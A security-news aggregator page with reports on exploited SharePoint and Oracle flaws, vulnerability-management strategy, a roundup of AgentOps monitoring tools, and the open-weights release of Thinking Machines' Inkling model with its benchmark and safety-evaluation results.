“This is what separates an IT incident from a business crisis,” said Chris Boehm, field CTO at Zero Networks. “One compromised SharePoint box is a ticket. That same box, with a clear path to your domain controllers, backups, and file shares, is how you end up with an encrypted infrastructure and a disclosure event. Segmentation stops the first from becoming the second.”

CISA’s advisory highlights CVE-2026-332201, CVE-2026-45659, and the newly added CVE-2026-56164, all of which have now been confirmed as exploited in the wild and added to the agency’s Known Exploited Vulnerabilities (KEV) catalog.

Exploitation tells a different severity story

The latest addition to CISA’s KEV catalog is CVE-2026-56164, an elevation-of-privilege vulnerability affecting Microsoft SharePoint Server. Although assigned a CVSS score of 5.3, the flaw can be exploited remotely without authentication, making it significantly more dangerous in practice than its severity rating alone suggests.

Microsoft has released security updates for supported SharePoint versions and recommended enabling the Antimalware Scan Interface (AMSI) integration to help detect malicious requests associated with exploitation attempts.

CISA also advised organizations to follow Microsoft’s incident response guidance, hunt for indicators of compromise, and rotate SharePoint machine keys where appropriate, acknowledging that patching alone may not fully remove attacker persistence from already compromised servers.

Older vulnerabilities remain active entry points

Alongside the newly disclosed flaw, CISA reiterated the urgency of addressing CVE-2026-45659, an insecure deserialization vulnerability allowing RCE that Microsoft had marked as “exploitation less likely” in its advisory in May. Another old bug CISA flagged is CVE-2026-32201, an improper input validation flaw that allows spoofing over a network.

Both of these flaws are being actively exploited in the wild.

CISA called out organizations failing to catch up with SharePoint updates, adding that attackers are increasingly targeting N-days rather than relying exclusively on newly discovered zero-days.

On concerns of patching speed, Boehm noted resilience is becoming an architectural challenge as much as an operational one.

“Stop measuring this in patch speed,” he said. “That’s a race you eventually lose. Some of these landed as zero-days with no fix on day one, and the window between disclosure and exploitation keeps shrinking. So the board-level question isn’t whether a server gets compromised. Assume one will. It’s how much of the business a single-owned system can take down with it.”

Boehm argued that limiting network reachability through segmentation should sit alongside patch management and threat hunting as a core defensive strategy. Reachability, he said, is a control that organizations own, not patch timing. CISA has given Federal Civilian Executive Branch (FCEB) agencies three days to remediate CVE-2026-56164 under Binding Operational Directive (BOD) 22-01.

The article originally appeared on CSO.

CISA urges immediate SharePoint hardening as exploits mount

Thu, 16 Jul 2026 14:24:27 +0200

While applying patches remains the immediate priority, security experts caution that organizations should view the advisory as more than another Patch Tuesday exercise.

Exploitation tells a different severity story

Older vulnerabilities remain active entry points

Both of these flaws are being actively exploited in the wild.

CISA called out organizations failing to catch up with SharePoint updates, adding that attackers are increasingly targeting N-days rather than relying exclusively on newly discovered zero-days.

On concerns of patching speed, Boehm noted resilience is becoming an architectural challenge as much as an operational one.

Oak Emerges From Stealth Mode With $60 Million in Funding

Thu, 16 Jul 2026 13:53:04 +0200

The startup has built an AI-powered Identity Operating System that governs all identities across an organization’s environment. The post Oak Emerges From Stealth Mode With $60 Million in Funding appeared first on SecurityWeek. This article has been indexed from SecurityWeek…

The post Oak Emerges From Stealth Mode With $60 Million in Funding appeared first on IT Security News.

Oak Emerges From Stealth Mode With $60 Million in Funding

Thu, 16 Jul 2026 13:39:59 +0200

The startup has built an AI-powered Identity Operating System that governs all identities across an organization’s environment.

The post Oak Emerges From Stealth Mode With $60 Million in Funding appeared first on SecurityWeek.

Shadow AI often emerges when workplace technology fails employees

Thu, 16 Jul 2026 13:16:58 +0200

Employees use shadow AI for a reason. Organizations should pay attention..

19 AgentOps tools for monitoring AI activity, issues, and costs

Thu, 16 Jul 2026 12:09:36 +0200

With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “AIOps,” “AgentOps,” and sometimes “agent observability.”

Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.

Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.

But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.

Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.

Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?

The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.

AgentOps.ai

When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from AgentOps.ai records events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.

Pricing: Starts at $40 per month plus usage costs at $0.20 per 1M tokens

Standout feature: Replay analytics with “time-travel debugging”

Best suited for: Complex agent debugging

Arize Phoenix

Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. Phoenix from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.

Pricing: Small free tier; Pro plan starts at $50 per month plus costs tied to events

Standout feature: LLM-as-a-Judge metrics for tracking quality

Best suited for: Teams focusing on iterating for accuracy and quality

BigPanda

BigPanda has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.

Pricing: “Value-based” table on request

Standout feature: Automated triage for faster response

Best suited for: Large teams seeking to reduce alert fatigue from large customer base

Braintrust

Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. Braintrust watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”

Pricing: Free starter tier; Pro plan starts at $249 with some usage-based costs covered

Standout feature: Highly scalable trace ingestion

Best for: Teams developing strong guardrails through continuous testing

Chronicle Labs

When it’s time to release a new version of an agent into the wild, the platform from Chronicle Labs specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.

Pricing: On request

Standout feature: Back-testing options for complex testing regimes

Best for: Teams chasing strong models with good fidelity to reality

Comet Opik

Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. Opik from Comet is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.

Pricing: Free tiers for open source and small projects; Pro plan starts at $19 per month with usage limits

Standout feature: Auto-scoring with 30-plus metrics for evaluating traces

Best for: Teams focusing on RAG and agentic workflows

Datadog

DevOps teams that rely on Datadog to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.

Pricing: Small free tier with multiple paid tiers for various levels of enterprise monitoring

Standout feature: Large installed base with broad focus on more than LLMs

Best for: Large enterprise teams working with established infrastructure

Dynatrace

For more than 20 years, Dynatrace has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.

Pricing: Plans start at $7 per month with larger plans designed for full enterprise monitoring

Standout feature: High level of autonomous monitoring designed for large installations

Best for: Complex, hybrid environments mixing LLMs with traditional services

Galileo

Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. Galileo offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.

Pricing: Small free tier; Pro plans start at $50 per month with usage-based limits and costs

Standout feature: Real-time guardrails for deployed agents

Best for: Security-conscious installations that need to defend against hallucination and data leakage

Grafana Labs

Long the go-to source for open source telemetry, Grafana Labs now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.

Pricing: Basic free tier; Pro plan begins at $19 per month, includes better retention and some usage-based fees

Standout feature: Full-stack tool with fully integrated LLM tools

Best for: Large, enterprise-scale system adding AI

Helicone

Sometimes shoehorning in another tool into the chain can be tricky. Helicone is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.

Pricing: Small free tier; Pro plan starts at $79 per month, includes features such as team collaboration and improved querying

Standout feature: Proxy-based integration

Best for: Development teams who want to add better monitoring features quickly

Laminar

Tracking agents in development and production means building strong storehouses of data enumerating what happened. Laminar works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.

Pricing: Small free tier; “Hobby” tier that adds more features at $30; Pro level starts at $150 per month

Standout feature: Open-source license makes self-hosting a viable option

Best for: Teams fully able to leverage open-source responsibilities

LangChain LangSmith

Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from LangChain traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.

Pricing: Free for solo developers; Pro teams start at $39 per person per month

Standout feature: Systematic approach to regression testing of prompts

Best for: Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior

Lunary

Watching the user experience is essential for building AI applications such as chatbots and assistants. Lunary offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”

Pricing: Free tier; Pro plan starts at $20 per month

Standout feature: Deep integration with humans for reviewing and optimizing results

Best for: Startups focused on rapid prompt innovation

NewRelic

The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. NewRelic’s AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.

Pricing: Free tier; Pro plan fees available through website

Standout feature: Full-stack support with hundreds of integrations with other tools

Best for: Established enterprise teams mixing in AI

Nova AI Ops

The goal of Nova AI Ops is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.

Pricing: Small free tier; Standard pricing begins at $40 per user per month with usage billing

Standout feature: Focus on software reliability engineering helps teams deliver stable stacks

Best for: Teams that want to integrate LLMs into incident response and stability management

Splunk

The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. Splunk now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.

Pricing: Activity-based pricing tracks usage of LLM backends and storage

Standout feature: Ready to scale to large enterprise stacks

Best for: Teams with legacy systems that are folding in agentic options

SuperPenguin

One of the most important parts of an AI service is the bill. SuperPenguin is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.

Pricing: Small free tier for experimentation; Growth tier for teams, starting at $30 per month; Pro tier offers deeper options starting at $200 per month

Standout feature: Strong accounting with invoice reconciliation and PR-level usage tracking

Best for: Teams that need precise cost accounting

Vellum

Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. Vellum started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its llm-cost-optimizer can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.

Pricing: Open-source free tier; Pro plan starts at $35 per month

Standout feature: Focus on multi-model pipelines for true agentic solutions

Best for: Product teams with complex prompt engineering workflows

CISA Adds Actively Exploited Oracle E-Business Suite Takeover Flaw to KEV

Thu, 16 Jul 2026 11:54:18 +0200

The Cybersecurity and Infrastructure Security Agency (CISA) has added a critical Oracle E-Business Suite vulnerability to its Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation in the wild. Tracked as CVE-2026-46817, the flaw is an improper privilege management vulnerability affecting Oracle E-Business Suite, specifically its Payments module. The vulnerability allows an unauthenticated attacker with HTTP […]

The post CISA Adds Actively Exploited Oracle E-Business Suite Takeover Flaw to KEV appeared first on Cyber Security News.

Flaw surge fuels need for CISOs to rethink vulnerability management

Thu, 16 Jul 2026 09:24:31 +0200

Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.

Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.

Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently told CSO that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”

Wild frontier

Frontier AI tools such as Claude Mythos have signaled a structural shift for cybersecurity, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.

“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”

Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that patching as a security strategy has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.

Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.

“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.

Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.

“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.

‘Assume Autonomy’

The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.

AI-powered vulnerability discovery blows this model out of the water.

“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”

Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”

“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.

Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.

“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”

For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”

Virtual patching

Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.

“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.

In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.

“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.

Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.

“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.

“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”

Just-in-time risk reduction

Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.

“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”

Tips for modernizing vulnerability management

The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.

Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.

Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”

This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.

“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.

Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026

Thu, 16 Jul 2026 00:46:38 +0200

"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.

Why AI agents pass internal evals but fail real customers in production

Inside Amazon's 'intern' framework for managing autonomous AI agents

What enterprise leaders should do before deploying agents at scale

In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.

Thinking Machines open sources first multimodal language model, Inkling, focused on low cost and 'resistance to censorship'

Thu, 16 Jul 2026 00:46:37 +0200

Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.

Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—released Inkling, its first major language model under an enterprise-friendly Apache 2.0 open source license, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).

Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option.

Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights are already available on Hugging Face and the company's own model training application programming interface (API), Tinker.

Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.

Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.

Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model

While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist.

For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design.

But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.

GLM 5.2: Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.
DeepSeek V4 Pro: DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.
Kimi K2.6: This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.

Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.

Nemotron 3 Ultra: Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.

When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.

Coding and Reasoning: Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.
Native Multimodality: Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.

If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge.

However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio.

The Shift from Static Reasoning to Controllable Thinking

Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.

The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output.

As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".

In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.

During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.

Epistemics and Censorship Resistance

A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship.

In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.

To validate this approach, Thinking Machines submitted Inkling to the Propaganda and Censorship Eval developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.

Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.

Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.

Under the Hood: Architecture and Multimodality

Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).

True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.

Licensing: True Open-Source for the Enterprise

For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.

In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.

The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.

Community Reactions: The Engineering Feat

The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.

In a post on X, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."

Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in another post on X: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"

The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization in his own X post: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."

Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."

Background: The Road to Inkling

To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.

